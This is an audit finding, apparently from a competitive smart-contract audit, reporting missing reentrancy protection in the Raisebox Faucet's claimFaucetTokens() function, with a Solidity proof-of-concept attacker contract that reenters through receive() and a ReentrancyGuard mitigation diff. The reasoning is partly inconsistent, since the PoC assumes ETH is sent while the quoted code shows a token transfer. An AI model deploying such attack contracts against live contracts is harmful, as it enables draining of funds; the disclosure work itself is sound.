Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Lack of Reentrancy Guard on State-Changing Functions

Root + Impact

claimFaucetTokens() performs external calls and internal transfers without nonReentrant or reentrancy checks.

Description

Expected behavior:
Critical functions like claimFaucetTokens() and burnFaucetTokens() should include reentrancy protection.

Actual behavior:

Multiple functions can be reentered due to use of low-level call and balance changes before external transfers.

@> function claimFaucetTokens() public {
...
_transfer(address(this), faucetClaimer, faucetDrip);
}

Risk

Likelihood:

High — common in faucets and token contracts if not protected.


IMPACT:

Allows recursive calls to claimFaucetTokens() that can mint or transfer tokens multiple times.


Proof of Concept:

an attacker can reenter through fallback.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IRaiseBoxFaucet {
function claimFaucetTokens() external;
}
contract ReentrancyPoC {
IRaiseBoxFaucet public faucet;
bool public attackOngoing;
constructor(address _faucetAddress) {
faucet = IRaiseBoxFaucet(_faucetAddress);
}
// Fallback function is triggered when the faucet sends ETH to this contract
receive() external payable {
if (!attackOngoing) {
attackOngoing = true;
// Reenter the faucet claim function recursively
faucet.claimFaucetTokens();
}
}
function startAttack() external {
// Start the attack by calling claimFaucetTokens() first time
faucet.claimFaucetTokens();
}
// Helper to withdraw any ETH from this contract after attack
function withdraw() external {
payable(msg.sender).transfer(address(this).balance);
}
}

Explanation

The fallback re-calls the faucet’s claim function during ETH transfer, draining its balance before the function completes.

Recommended mitigation:

Using transfer() or a reentrancy guard prevents recursive calls.

+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
Updates

Lead Judging Commences

inallhonesty Lead Judge 18 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.